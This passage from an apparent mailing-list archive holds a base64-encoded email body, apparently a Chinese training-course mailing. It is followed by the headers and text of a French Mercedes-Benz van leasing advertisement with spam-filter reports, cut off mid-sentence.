qLRu1qK94dPrzsrufUioptDEIA0KPGJyPjOhotNIye240MrcycyYScuu17xEZbTzuNnVbrz+0+tQ UFTU2sTjytbW0NK7sr2yvbHkV6imac/WyrWjoaOhPGJyPr2bteRUVFS7uVNoqKy7+dPaNTDE6rT6 tcTIz1poqKnW99Lly7y+U6Os0dC+v1KosrrOueDK5MDtwtuju7n6TqioacXg0bWOn9fUvLq4xE2o qm5ntcSx5NbWVFRUsNHF4NG1vLzE3FeotL3inunR3b2yTqimbmc8YnI+waajrNS9TKiiadS970C/ 1ba0o6xEqLBuZ7K7hNPKrrbgzOxEZcXg0bWMjbzKyc/P1Mq+wcvQp0youLXEtc3PwqGjy+ZaaGU4 MKGiOTC680KospTg1NrWsLOhyc/pX8q8sOdZqKNu1f3Kvb3HyaujrM2sPGJyPsqx1vCyvdffU2io pG5nxvPStcXg0bWOn7XER6ijbmfOu6OsxvPStcq1stm6zVpoqKjQqVRUVNau6WfDrESotG7UvcC0 1L2086OhPGJyPjIwMTWw5lNUVKOo09ZNqKpuZ6O6zebXqr/OzMM/o6m94brPODChojkwSKiwdbXE 0MTA7dDox/OjrLT4wLRRdaiibtDCyf28tqOh1No4Tmmoom6B7cirufrK/chmw/tMqKNv0afUsbXE vPvWpNauz8KjrEuop9LUPGJyPr+0RKikb8Xg0bWOn8Xg0bW1xM/WiPZYaaikb8LK1L2B7dS9uN+j rMHugvdUqK9uZ1RUVOt50tTN+1Goqr6xsbOjrMG9zOzKsbzkyv1TaKiqw/uMV9Sxv8nS1M3qs8nO 5Uyosm6/zrPM6V+3oliotG7Bt6GivqvS5jxicj67r7XE0bXBt8noSqisyMPDv8670adZdaiibtTa vKu2zLXE0bW+mlNoqKq85IPIzeqzyb38MjC0zsG3z7CjrM2syrGxo9dDTGXUvDcwJbXEWmios72y wM+On8ra1W7Ksbzko6y0X0Koo29TVFSjqNPWw/ujujxicj7N5teqS6iozMM/o6m8yFmor3XQp7n7 09bT0MnuRKi0oaM8YnI+1NrN6rPJjFdYqKrEv7HqtcTHsMzhz8KjrLFNS6inxNzYU7i7tcTS/cjr sPzAqNDQRKiwbmfRp8+woaK3rdeqv87Mw6Giy+lQaaikboxXz7Chor3Mwbe8vMr1oaJRdaiibrPM xsC5wKGizuXQx73M0adGqKM8YnI+1NrE2kRltuC3Ttfux7DR2LXEyKvQwr3MWHWopsrWt6ijrMjD 0adZdaiibsTcubu+b7j6yrG0+qOsVKiubmfKscfQye3M5VmopG6497dO1+7HsFmoom61xMXg0bXE o8q9oaM8L3A+DQo8cD48YnI+haK807n9S6ios8y1xNGn1LHT68bz0rW++UJpqKNvyr6juiA8YnI+ MaGiU1RUv86zzLHIQ2h1qKJuzbNUVFS4/L7fjI1aaKikbtDUIDxicj4yoaLT68bzWaiotcS52MGq tshZqKe4/L30w9yjrMTcubtRaailx9DKtYyNveK+9sbz0rW05lqopGm1xM7KzOIgDQo8YnI+M6Gi u9i1vbmry77C7VNoqKRuZ77Nv8nS1NTL08O1vcq1SqisuaTX99bQyKWjrLC01dVTVFSx6pzK0dC3 okNoqLGB7bXEv86zzNaxvdO94ptRUair0rXOyu59us3M4VNoqKVuZ9SxuaS/g9Cno6zJ7rXDQ6ih brzT0afUsTxicj66zbmry75MqKtuZ7W8tcS6w8bAo6GjoSA8L3A+DQo8cD48YnI+ob7F4NG1Rqih bmfKvaG/IDxicj6h876rvbLA7UyotG6jusnPyf3V3NGny7zP66O7Jm5ic3A7IDxicj6h87C4wP29 4lioqaO6u9iad87KzOKxvtbKo7sgPGJyPqHzuaS+31moo26+mqO6u7nUrbmkWnWosOpQvPyjuyAN Cjxicj6h88TcwaacecbAo7rQp7n7v8aMV7zsusujuyZuYnNwOyA8YnI+ofO31tfpuILI/KO683fR 6c3F6qDRp8+wISZuYnNwOyZuYnNwOyA8L3A+DQo8cD48YnI+ob6MV9SxU2iorXXS5qG/oaEgPC9w Pg0KPHA+ofPH4VOorW5n1cbO1cXg0bWOn0KorLG4tcTP1oj20d3S77y8x8lIqKa/2Ij2xNzBpqO7 IDxicj6h88TcifJEqLLBps3qs8nJzFmoqMuunMq/zrPMtPNHqKFuZ6Giv868/sVjUFBUtcS/qkao oaO7IA0KPGJyPqHzv6qwbLXE1W6zzE6opm5n0+vG85hJx+m/9r30TaisveG6z6OssqLE3LXDRKik b7LOvNOMV9Sxus3B7IyntcTWp0NoqKqjuyA8YnI+ofOMosTayN3UT7zGxWNZqKNu0u+1w7j8vNNT aKiq0KfJ+ravo6zT0NCnUWmooW62r8O/zruyzrzTWHWopoZUtcTQxM/So7sgDQo8YnI+ofNCqKNp zdFQUFTFY7jlSmmopG61xMr4uL+jrM3RuOW681Kopm5nxNzJ+cfpsqLDr734SKiibme9ssrao7sg PGJyPqHzsrvTw9TZRKihbtDExeDRtd9es8yjrNStwLRQqKZp0bXQp7n7v8nUpLz70rLT0E6opm5n wabUT7zGo7sgDQo8YnI+ofO96Nb619S8urXExeDRtUqorMTcu/G1w9aw0rXJ+tHERGW438vZs8mz pKGjIDwvcD4NCjxwPjxicj6hvlGoq5hJytXS5qG/oaEgPGJyPqHzyKu3vc67zOFTaKilbmfG85hJ xNqyv8Xg0bWOn7bTV6iz1fvM5cuuxr3T64yN1b3E3EyorKO7IDxicj6h81qopGm2zJVyvOTE2r/s y9nQzkNoqKZuZ8bz0rW2wNPQtcS/zkNoqKZuZ7/ius3L2LLEjuyjuyANCjxicj6h87nmt7bN6lNo qKRuxvPStcXg0bW53MDtzOXPtaOs09DQp8H016G+rdHpus1ZqK110OPIy7LFo7sgPGJyPqHzxeDR tYPIyN2yu1qopGnNo8H009qx7U1pqKRuxWPQzsq9o6zWsda4hpbM4kioptDE0+vM4cn9uaTX97yo WGmopG+juyANCjxicj6h89PQ0KfL9bbMhlS5pENoqKZuZ7Ok1tzG2qOsv+zL2bi01sZRqKvStb6r 06LM4cn90KdZqKyjuyA8YnI+ofO9qMGiyKvUsbLOxWPWp0NoqKq1xNGnz7DQzbfVV6imabrNxvPS tc7Eu6+jrLTy1OxaaKijbmfH4Mr3xvPStaGjPC9wPg0KPHA+Jm5ic3A7PC9wPg0KPHA+ob7F4NOW tPO42aG/PGJyPtK7oaImbmJzcDvN5teqxV+356GqoapZqLBuZ9DCudvE7tf2xeBYqLRuo6zIw87S goOw0UuoqMzDt625/YHtPGJyPjEuJm5ic3A7xeDTlsqmxeDRtdbVvVnV36O6U1RUP8bz0rXF4NOW yqZTaKiobmfIzsSj0M08YnI+Mi4mbmJzcDvI57rO1NrX7rbMyrFKaaihbtL9t6K5svhRo6zX3734 jFfUsURlysC956O/PGJyPjMuJm5ic3A7yOe6ztPD0MvIpLT4hNNYqLHH86OsyMOMV9SxtPPE1L/s RGmoo27Xqsbwge2jvzxicj40LiZuYnNwO9eMxeDRtcqmsNpUdaitwMu30cqxvOS1xKGw086R8qGi sLTEprLZoaLO6LW4obHAz8j9Waikbmc8YnI+NS4mbmJzcDvO5dDQ0bXBt7eoMi4wyf28trDmo7rS 1NGn1LGe6UioptDEtcTQwsyot+c8YnI+Ni4mbmJzcDsyMLfW54q94r72xV9GqKVuZ4aWzOKjus3m 3kRLqKjMwz+2wLzSzqLRtb6az7VUqK9uZ7P183fR6Txicj4tJm5ic3A7waK/zNffs/ZKaaijbmfM qL/WvuXWoqOsWGmopG5nytbX459vtOvLtUJ5ZSANCkJ5ZaOhPGJyPi0mbmJzcDu/7MvZzOFTaKil bmfF4NOWyqa1xNNISKimwaa6zciozf640Dxicj4tJm5ic3A708PX7kppqKNutaW1xLe9t6ixo9ak UKimadOWyqbXy8ystsvXr7TzRqihbmc8L3A+DQo8cD62/qGiJm5ic3A7zebeRL/Os8yhqqGqx+HL yVp1qLC6w8Xg0bWDyMjdtqjOu7XEU6istPPSqsvYPGJyPjEuJm5ic3A7sLjA/cnutsi148bAo7pQ qKZp05bKpsn60cS1xLXaWaiptM7XqNK1u6+/zrPMS6ihabeiyM6E1Txicj4yLiZuYnNwO0SopG/G xszsu/qjusbGveJQqKZp0bXX3MrHtO+yu7W91KTG2rXEobDEp9bkobE8YnI+My4mbmJzcDtDqK5u ZzIwMTTE6kFTVES4xMP7zLi/qlGotKO6xvPStcXgWKi0brXEobDEx7j2yrG0+qGxus2hsNXigoDK sbT6obE8YnI+NC4mbmJzcDuyu4/E1ebKtcXg0bVYqLHH87P2t6K1xMXg0bXVbrPMU2ioqLzGtrzK x8ujwffDpTxicj41LiZuYnNwO8THw7RXqKhu7n3AtMHLoaqhqsXgWKi0btDox/PN2r7yxMS80se/ o79TVFQ/y8SGlsC0QqihbmfDpqOhPGJyPjYuJm5ic3A7tdq2/sLWWGmopG6zoYOeu6+jrMjDxeBY qLRuuPy+q5zKo7q/zrPMWGmopG+5+4Oeu6/UrcC0yOe0y0ppqKNutaWjoTwvcD4NCjxwPsj9oaIm bmJzcDvN5teqv9iI9qGqoarNqLn9WmioqphJv9iI9rGj1c/F4NG10KdHdaivMTAwJbTvQ2iopm5n o6E8YnI+MS4mbmJzcDvQ3ENoqLGbXdei0uKjocTjtcRQqKZp0bW40tPD1ebKtVhpqKRvufvLtbuw huGjvzxicj4yLiZuYnNwO0uosG5ns6HE3MGmzOXR6aO6obDQ3MDPjp+hsbrNobBYaaiubme6otfT obE8YnI+My4mbmJzcDtLqKjMw72oubmjutDcuqLX06Gwt7hYaaiubmehsbXEy8S3TrHtz9ajrMTj SHWorMjnus7Tpoymo788YnI+NC4mbmJzcDvI57rOUXWoqMjP0afUsbbUy/lYdaimxNrI3bXEzvxT aKitdbPMtsijvzxicj41LiZuYnNwO8/Ws6GMpsXg0bXQp7n7SqisbtDQvOzR6bXEobCzrLy2R6it bme+38/kobE8YnI+Ni4mbmJzcDtTVFQ/0+/km6O6xeDRtbHY0Ou1sUNoqKNuZ7z70KejobK7xNzP 1kNoqKNuZ7z7tb3Qp7n7tcTF4FiotG6jrLu5ysfLo8H3TaiibmejoTxicj43LiZuYnNwO1KopG5n xeDTlrP20Ke5+6O6xeDRtUuoqLPMtdrI/cLWz9aI9tPFSHWopDwvcD4NCjxwPsvEoaImbmJzcDvN 5teqsLjA/aGqoaqzrFl1qKjA7cLbo6zG89K1UKimadOWtNO0y9eDRKim09DRqtPQyOI8YnI+MS4m bmJzcDuwuMD9tcS829a1vfZKqKtuvs3Kx7fhuLtLqKjMw8Lwo788YnI+Mi4mbmJzcDtCaaihbsz9 ucrKwrHfy7y/vKO6y/tNZW7Kx8jnus7X9rW9obDS/cjLyOtTaKiobmehsbXEo788YnI+My4mbmJz cDvS/bGs17/Uvcimo6FQqKZp0bXKpsjnus7fXFmosG5n19S8urXEtrSy7MGmRGmopG+E08z91tqj vzxicj40LiZuYnNwO7C4TKisuN/K1szl8p6jus7eWmiooW/KpNPQ1dCjrEOorm5nxtOMjdbQ1cC3 xbnisso8YnI+NS4mbmJzcDtTVFQ/tPjE47XfuLLSu8fQo6Gyu732s6zUvcDtwtujrLj8vNOzrNS9 sLjA/bG+ye2joTxicj42LiZuYnNwO7TTvbKopG7A/dffz/LTw7C4wP2jurjftPNTaKikbme1xLC4 wP3J6LzGu/lDaKizPGJyPjcuJm5ic3A7j8TTw6ikbsD919/P8s3msLhMqKyjurn+t/DJzIxX1Lqo pG7A/b3M0ae3qL6ry+hGqKhuz+08YnI+OC4mbmJzcDvIw8Xg0bVZqK91uN+2yKO6xeDRtb/OQ2io pm5ntdrLxMLWrEazodPFu688L3A+DQo8cD7O5aGiJm5ic3A7zebXqkuoqLz+oaqhqrOs1L1QUFSj rNfutc2zybG+yrXP1lGoq5hJv868/pjL17y7rzxicj4xLiZuYnNwO8Xg0bW/zkNoqKZuZ7+qsGzW 0LXEs6PSis7KVKiqo7o8YnI+P8XgWKi0bsqmtrzKx7zmwpq63MOmo6zVbrPM0dC3osyr1bzKsbzk 1PVNZbDso788YnI+P7u7goBSqKZuv868/r7Nw7u3qL2yo6zU9U1lsOyjvzxicj4/TKiqbpVy0NS1 xMXg0bXIzs7xo6xNqKZp09CVcrzk1/ZLqKi8/qOstavT1tKqQqijb9ak0Ke5+6Os1PVNZd5ro788 YnI+Mi4mbmJzcDvKrrG2U6i0zebeRFBQVKGqoarIw1BQVL+qt6KVckppqKFuy/W2zDkwJaOhPGJy PjMuJm5ic3A7UFBUysfF4FiotG7Vbrz+tcTX7rP1vInQzlSopGmjrNPQw7vT0EKoq1BQVLj8v+xE Zelft6K3vbeoo788YnI+NC4mbmJzcDu++IymyfHG5qO614zRp1l1qKJu0dvW6dfTtry19M/CwLS1 xFNUVD+/zrPMS6ihabeiy8SyvbPJ0M08YnI+NS4mbmJzcDvF4NG1v86zzLXazuVMqLJuz9azodPF u6+jusjDxeDRtU6opm5ntKuz0LXEMTW31ueKv85DaKimbme8scvZs8nQzaOhPC9wPg0KPHA+Jm5i c3A7PC9wPg0KPHA+ytq/ztZ2yqajujxicj66+vhQ3MvAz1NoqKk8YnI+Uair0rW089Gnjp/XysXg 8ELT69VuQ2iopm5nv+K07r2o16i80qOsU6i02kHJzIxX1Lq4sdS6s6SjrFl1qKJu7Zi34byvzcXF 4NG1u/lEqKzQo7Oko6y2wMGistladaiw314xNTAwMMjLtM7S1MnPL8TqPGJyPrXEUKimadOWzOXP tdTL1/eho7r6wM/KptT41NpaaKiq0rW439CjoaJNqKdptcS8r83FoaLLs7fhvK+IRqGi18/Mqb6j yrXStaGitqbUrdfJWKiybrXI1qrD+8bz0rW1o8jOv8ZTaKis1vfIzqGiz/o8YnI+ytu9m8DtoaLF 4NG1SqipbmfA7aGiyMvBptfK1LRaqK9uZ7zgoaLQo7OkoaK/gkqoqW5nwO21yNawzvGjrDE0xOqM o9ei09pSqKZuwabXytS0udzA7UeorW5n1/ejrMzYhGVTaKikbrOkyMuyxczdtsi1xL2oU2ioqDxi cj7T67ncwO24ybK/RGXF4PBCo6y21NPaxvPStbTzWHWoprS0sOyjrMXg0bXM5c+10o5Idaii0+u9 qNRPoaLF4NG12XzBv0d1qKNuwO3T69R1ucCholCopmnRtb3MssS/qrBsoaLF4NG1U2ioqdG1wbfF Yzxicj6497LjQ6isudzA7bjJsr/F4NH409DYU0aotLXEjI28+b2b0em6zaqatb1EZYKAyMu8+73i oaM8L3A+DQo8cD7K2kuoqMzY/GOjujxicj4xLrr6wM+On72yS6ioyfqE09PExKyjrM2oU6iy0te2 rqOsvKu+37jQyL7BpqO7y/21xNaq11LD5rnjo6y21NPaz9azodGnhlRXqKhuzOLJxtPaveG6z8bz WaiojI28yrC4wP2jrFCoom5n1feyqTxicj5ZqKtuoaLJ7sjrx7Oz9t9NSKiibme9sr3io6zIt7Gj xNrI3URlyrWR8NPQ0KejrNGn1LFHqKhuZ8jd0tfO/MrVxWNaaHWoo267r6O7PGJyPjIuuvq379zL wM/KprbUobDIy6Gxvt/T0Lyrj4pEZcP0uNC2yKOsx9e6zUyorLzRo6y77sGmy8TJ5KOsTqimbmec ysi3sNHO1bPJxOrIy4xXz7BYqKluwO2jrMnG09rU2tfutsxTaKiq6WfE2rX3PGJyPkSosG5nsrvN rNDUuPFUqKjV97XEyMu/7MvZUqiubmfI69PrhaLT66OssqLUy9PDtuC3TsXgWKi0bre9yr3H0IyN zOHJ/cXg05bQp0d1qK+jrL/Os8zP1rOhmuJGqKVun+HB0rb4u+7cU6GjPGJyPjMuobDF4NG1Qqis 7Zqz9rPJufuhsaOsuvpGqKhuZ9zLwM+On7bUtP3Dv7TOxeDRtUSorXW3x7Oj2JPU8LrN1pTJ96Os v86zzMewtry74dXrjKa/zUiotLXEzsrM4qGi0OjH87340NDPuFpoqKy1xDxicj631s72us1Rdaii bsPmtcTSjruuo6xXqKZpxvPStbbIye22qNbGv86zzE6oqGnI3brN1+7M+cfQtcSopG7A/aOsyLex o7/OQ2iopm5ntcShsIyN1b2hotPQ0KdIqKa/ybLZ1/fQ1KGxo6zIw9GnhlTU2keoqDxicj7Iy8Tc waZUqKrJ/dau0+DE3MrVu/G1vVpoqKq9073ivvbOyszius202b34Sqis0Ke1xLe9t6i5pL7foaM8 L3A+DQo8cD66+rfv3MvAz46f1ve9sr/OQ2iopm5no7o8YnI+obZTVFTG89K1xeBYqLRuyqbF4NG1 o6hUVFTKtZHwvNPHv7Dmo6mhtzxicj6hts3m16rVbszDoao4MLrzxvNZqKjF4NOWyqbF4Fmoo25n 0bW+mqG3PGJyPqG2vqvGt0uoqLPMtcS/qrBs0+vUT0qorKG3PGJyPqG2udjmSbjaV6ioab/Os8zz d8+1tcS07r2oobc8YnI+obbG89K1xeBYqLRu83fPtb2oyejFY8LktdjKtVNoqKmhtzxicj6htlKo srrOs8me6dPF0OO1xCANCkhSQlAoyMvBplqoqdS00rWE1bvvsOkpobc8YnI+obZNVFDW0LLjudzA 7VpoqKe53MDtvLzE3Mzhyf3RtcG3obc8YnI+obbW0LLjuMlCqLS1xMLktdjWtNDQwaahtzwvcD4N CjxwPiZuYnNwOzwvcD4NCjxwPr3Tyty5/Uiosrfv3MvAz8qmxeDTlrf+hNVEZcbz0rXT0KO6PGJy Pr3wy8nrisb3oaK589H0WaihbrLdoaLUxsTP4F3V/svZ32ahok2op2m1xLyviEahosuz2FNKqKqI RqGi+FDCwcLB0rWhorDdzNhLqKW8vKGi5au7qr2o1v6hotbQyb3Rxb7TmLehos/JxN1MqKdptcI8 YnI+oaJPUFBPoaKwoqincsu5zaihosW1Qqioabb7zb/Bz6GikNvQxb6rSqipoaKwzcDvt8a2+8u5 oaKw2crCvK+IRqGisbG+qVpoqLTB+qGisb7M79bGy/ggDQqhorCiUaiqz8TD17b7u/q0sqGius3K wjxicj7fX87AWai0oaK7osPFuNu5+rzKSqiq17DP5MLr7l6hosqvwfpKqKluZ7TJoaLSy7Cyv8ZK qKyhorijtO/Ks8a3oaK541NoqKVuZ8zDy47StaGiyNW80bXn19OhorOkzOzLvNS0u7exoyANCqGi udrqu8n6PGJyPs7voaK7qtDLsqPBp6GiTGmoom7L3L/GvLwgDQqhosypv8a159fToaJYqKxuZ7Tv uujSteuK19OhotLUxbXNqNG2oaJDaKimbmfK0LHjvd2+xrXq30LL+KGisNhTqKmxprf+0WKhor+1 tcNYqKlutLDEpKGixM88YnI+Q2iopbPHytDcibXA17CxuKGiusa7+cK3x8W5pLPMoaLHp8DvtO/X 1NDQs7WholmotLfhxvvF5KGiyNXqxVeotMH3oaK71LTvvK+IRqGiTGmoom7qu82ov+y13aGig55T qLS/7LXdoaKH+NKp0rs8YnI+0MTWxlmopG+horqjur28r83FoaLQwk2opGm/zdPpmLe53Eyoq6Gi u6iY08TqvK/NxSANCqGiu6q127nJt92horuqRKitbme9qNb+1E+8xtHQvr/UuqGiSHWoosH61qTI r6Giu6rNqERpqKRuxNShorvUucy/sTxicj7MvaGit7248b6rTaisxve8/qGiufPW3bXnwaahorCu yEHKy9TLtq9ZqLBuZ8a3oaK/rdS9tefX06GiusBTqKVu0r3LjqGivfDHrrGqss1ZqKtuvK/NxaGi vqLFxryvVHWoom6hor7F1MLM7M/m1LrX0zxicj7S+8qzIA0KoaK/qLb7sszLvrni0aehosTPsqNK qKrNxaGiv8uPxrXb1umMmqGizuVMqKpuZ8b7s7WhosLeuKGMbbzSSqixvK/NxaGiwt648cDKtc1Z qKG158b3oaLC6tznzNjGpEqotKGiw6+1wrmrPGJyPsqzxrehosPAtcS8r1R1qKJuoaLD8bq9zvfE z7/VR3Woo26+1qGiyNXBouuKVKipoaLI2c7Etcbvl6GiU2ioobHLuN/Sx8b3oaKWfLCiqKHEeqGi sbG5+re5teqhorL9Uqi0bryr5EqzrNOyssRMaaikb6GiPGJyPkNoqKZuudrI6ZhJoaK6zUh1qKJu Z9Kp0rWhosWmsbTXzKBJ0fjI6VCoq26horrsxaPOrMv7w/yhos/g0suxvrLdu69aaHWooW5nxreh osPA1qWwxLuv17FQqKtuoaLKwLDuu/rQtaGiRKitbmeyv7uqg1Ozx6GihFA8YnI+zfq8r83FoaLE z1NoqLRu083WrKGiwr212Le91tvQwsTcWXWoom6hoszYsLK5pNK1oaJYqKluZ9S0ssTZfLnJt92h olmoqbXHyO28/qGiy6dLqKFuZ7yvzcWhorfGtcC7r1podaihbmfGt6GizOzQx02op2nI3cGsy/g8 YnI+oaLQwsLqu/mMjVmoqKGi1tC5+tLGtq+hotbQ0vi98MjaycyE1aGiyrFEqKRpvZu15KGixubI 8Mb7s7WhokuopcThv6jDwMTctO+hopZ8va1KqKrNxaGiwaKw18q10rWhotbY0M1RqKzch7yvPGJy Ps3FoaLpTEppqKFuZ7zSvt+hotW8xLdTaKisvI/Wr6Gih/jQxUeorW5ns8y84MDtoaLX2Om1iEBM qKpuoaLP48m9uuLG96Giye5OqKZuZ9S0vK/NxaGixM9IqKJuZ9DFz6K1yMr9sNm80sbzWaiooaM8 L3A+DQo8cD48YnI+v827p4ymSKiy+FDcy8DPyqa1xMbAvNujujxicj66+rfv3MvAz1NoqKm1xFNU VMXgWKi0bsqmxeDRtdVus8xGqKVps6O907XYxvijurzIWaivdbXfuLLQ1LXEy7zP66GivqtDqKNp tcTVbrPMs8qsRqGiwaK4zbz707C1xM/WiPZHqKNpseTT1tPQwe7Iy0h1qKo8YnI+zrbO3lFpqK5u Z7XEy7zP67PBte2ho9PQy7zP66Gi09DE2rqtoaK/ybLZ1/dYqKxuZ8e/o6y/yc69obDJz0SopsHL zPzMw6Osz8K1xMHLs/hGqKJuZ6Ost621w8HLh/rHvaOstPK1w7n9wffDpaOhobGhqqGqyfK+/cDP yqY8L3A+DQo8cD7U2lNUVMXg0bXKpkuoqLPM1tDO0r+0RKikb9fUvLrP1Nb4tcSx5Luvo7rSu6Gi 1MvTw8HLzuXQ0FiotG6+mreoo6zRuMvZzOHJ/cHLWqisvLq1xMVft+ejrEOorm5n1K2B7bXEsru4 0snPxV9EqKRvse08YnI+rEbNprK75WWjrM7StNObXc/rtb3Q6NKqtcRTaKiqvOTV5r7N1eLDtLbM o7u2/qGi1NrR3dLvsLjA/Uh1qKJuvdqjrM7Sw8fQoVqos8jLhlS1xLHkSHWopLa8t8ezo7Tzo6zW drnKU2iorL2ysLjA/Txicj5CqKvWrsewuPy8076rssrJ+kSosG5no6zO0tfUvLrR3UppqKNuZ5Vy vOTSstT2s6TBy6Giy7W7sMrWysbU9kR1qK3Ssrj8vNPX1MjnTGWjrL2yv861xNDF0MREqK11s/aB 7cHLoa2hrY/Ew7tYaaijbmffXtK7PGJyPrj2xa7Az46fUKimadOWv8nS1Nf2tcTI57TLU2iopW5n tq/T0Miko6G6+kyoo2+On87Sw8fS1MTjnunI2aOs0tTE486qsPFZqKRuZ6OsxazBprzT081+oaqh qs2ous/ritfT0OxTaKihxa7KvzwvcD4NCjxwPtaux7BDqKFuvNPfXrmry77X6b+XtcRUVFTF4NG1 o6zT0Exlu/m0obXExeDRtcqmTqimbmfBpqOstMu0zlNUVMXg0bWOn8Xg0bWjqFRUVMq11b2804+K QqijbqOpv87Mw8nPo6zO0lqopGnVbrPMv6o8YnI+RqihxWPK2r/OvLzHyVNoqKRuZ9PWu/G1w8HL 73fUvtDURGWzrNS9o6y7ucrVq0DBy7K7U2ioo2/F4NG1stnX97rNxeBYqLRuudzA7bXEwem40KGj z+BYqKxutMu0zsXg0bXWrrrzztJNZW62vL/J0tTJzzxicj7Su4KAzKi916OsxNxXqKZpztLDx7Wl zrtEqKRpwLS4/NDCtcTG+FioqaOsztKCg7vhSqis0PjFrMGmo6y40NC7wM/Kpkeoo27WeNb6vcy4 0NC7R6iozrvNrNGntcTF40KopG6jrLjQ1njXsELqoKOhoaqhqs7lweLB+Lv6tq/BplSoom6/oTwv cD4NCjxwPsjLtrzKx0h1qK7U2rjQvvXW0KOsUqiobrrOuNC+9ba80tSx7VhpqKRuzqq7+bShoaNY aaijbmfTsM/sxOO21LHwyMu1xLjQSmmopG+jrL7NvNPHv8TjRGWx7c/WoaPU2rr6t+/cy8DPU2io qbXEU1RUxeBYqLRuyqY8YnI+xeDRtb/Os8zP1rOho6xXqK+63I+KwdK63FFpqKJuZ8HStcS40L71 ysejulNUVLXEzuXQ0NOWwbe3qFSopGnC5LXYwcujocbzWaioxeDRtdVus8y1xNHQt6LV5kRlv8nS 1LrcwuS12KOhLsXg05Y8YnI+veG5+0ppqLSRqrWx1NrUdbnA1q7HsLG7U2ioqLzGs/bAtKOhLrr6 wM9TaKiptcS/2Ij2xNzBpsVjyfpEqLBuZ9HdwFuwuMD9zKtCqKRuZ8HLo6GhqqGqsMTAvEyoomne sbukt/TO4png5/TAz8qmPGJyPjwvcD4NCjxwPre/oFQ8L3A+DQo8cD4yMDE1LTEwLTMxPC9wPg0K PHA+Jm5ic3A7PC9wPjwvYm9keT48L2h0bWw+DQo= ------=_000_NextPart482055673272_=------ From contact@uhrband20.eu Fri Oct 30 21:42:47 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_IMAGE_RATIO_06, HTML_MESSAGE,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4898D7F53 for ; Fri, 30 Oct 2015 21:42:47 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id E9AF7AC001 for ; Fri, 30 Oct 2015 19:42:43 -0700 (PDT) X-ASG-Debug-ID: 1446259355-04bdf0330b15ab60001-NocioJ Received: from vps.naight30.eu (vps.naight30.eu [217.112.92.117]) by cuda.sgi.com with ESMTP id zw5uSInOklAzUUCo (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 30 Oct 2015 19:42:37 -0700 (PDT) X-Barracuda-Envelope-From: contact@uhrband20.eu X-Barracuda-Apparent-Source-IP: 217.112.92.117 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=uhrband20.eu; s=uhrband20.eu; t=1446259355; bh=2P+o69YUAOpA4ApzItQkpx68CEuLcRNCD+kHup2wG7c=; h=Date:From:To:Reply-to:Subject:From; b=hNMQ3jGhE5kR4O34suTD1PDpZVeWkq6i+4ZH4QZm38+kVKeGFqmvkOgHa6ymZtFZZ Ty9/nMwuRM6oMnZv7vy7vBjKLPenDxbcPHg7B69Qhz0hG8qtrkzksezDKQBfR5ZAg8 STQb30dFCLsRphKE6pcdjaHU77McNVkbyeo0Q6FM= Date: Sat, 31 Oct 2015 03:42:24 +0000 From: Mercedes To: xfs@oss.sgi.com Reply-to: Mercedes User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; Microsoft Outlook 15.0.4420) MIME-Version: 1.0 Subject: Offrez vous 3 ans de serenite pour 1 euros Content-Type: multipart/alternative; boundary="------------080307070208020303040701" X-ASG-Orig-Subj: Offrez vous 3 ans de serenite pour 1 euros X-Barracuda-Connect: vps.naight30.eu[217.112.92.117] X-Barracuda-Start-Time: 1446259357 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.14 X-Barracuda-Spam-Status: No, SCORE=0.14 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, HTML_IMAGE_RATIO_06, HTML_MESSAGE, MISSING_MID, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23972 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 NO_REAL_NAME From: does not include a real name 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_IMAGE_RATIO_06 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message Message-Id: <20151031024243.C413BA420E7@cuda.sgi.com> This is a multi-part message in MIME format. --------------080307070208020303040701 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Si ce message ne s'affiche pas correctement, suivez ce lien. Mercedes-Benz Mercedes-Benz MMercedes-Benz ContratService Complete ContratService Complete ContratService Complete ContratService Complete ContratService Complete ContratService Complete Mercedes-Benz ContratService Complete Mercedes-Benz *Des utilitaires conçus pour durer. (1) Offre valable pour toute commande d'un Citan neuf (Fourgon/Mixto/Tourer) auprès d'un distributeur participant entre le 01/09/2015 et le 31/12/2015, livré et immatriculé avant le 31/03/2016. Offre réservée aux particuliers et professionnels (hors flottes et loueurs). ContratService Complete 36 mois ou 60 000 km proposé pour 1€ TTC. (2) Exemple : CITAN FG 108CDI compact au prix tarif remisé du 01/10/15 de 11.990€HT(3) proposé en Crédit-Bail Facility sur 36 mois avec 36 loyers mensuels de 209€HT(4) et une option d'achat de 5.041€HT(3), sous réserve d'un kilométrage total contractuel de 60.000 km. Coût total : 12.241€HT(3) ou 12.564€HT(4). Modèle présenté : CITAN FG 108CDI Long avec peinture métal et jantes alliage 16 pouces au prix tarif remisé du 01/10/15 de 14.400€HT(3) proposé en Crédit-Bail Facility sur 36 mois avec 36 loyers mensuels de 260€HT(4) et une option d'achat de 5.734€HT(3), sous réserve d'un kilométrage total contractuel de 60.000 km. Coût total : 14.696€HT(3) ou 15.0 85€HT(4). Si vous ne souhaitez pas vous porter acquéreur de votre véhicule, votre distributeur participant à l'opération vous en assure la reprise au terme du contrat pour le montant de l'option d'achat sous 